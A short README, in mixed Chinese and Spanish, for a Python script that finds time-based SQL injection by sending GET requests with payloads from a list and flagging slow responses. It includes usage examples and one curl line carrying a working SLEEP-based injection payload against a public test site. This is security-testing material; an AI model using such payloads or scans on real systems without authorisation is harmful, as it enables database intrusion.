这是一个简单的脚本,可通过基于时间的注入获取超过20秒的响应时间,从而发现SQLi漏洞。
usage: SQLi_Sleeps2.py [-h] -u URLS -d DATA [-c COOKIE]
Realiza una petición GET a múltiples URLs con diferentes datos.
options:
-h, --help show this help message and exit
-u URLS, --urls URLS Archivo de texto con las URLs a las que se les realizará la petición GET.
-d DATA, --data DATA Archivo de texto con los datos que se agregarán a las URLs.
-c COOKIE, --cookie COOKIE
Cookie a incluir en la petición GET.
# Cookie simple
python3 script.py -u urls.txt -d data.txt -c "session=abc123"
# Múltiples cookies
python3 script.py -u urls.txt -d data.txt -c "session=abc123; user_id=456"
# Sin cookie
python3 script.py -u urls.txt -d data.txt
cat urls.txt | sed 's/FUZZ//g'
python3 SQLi_Sleeps2.py -u urls.txt -d data.txt

手动分析
time curl "http://testphp.vulnweb.com/search.php?test=query'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z" -I
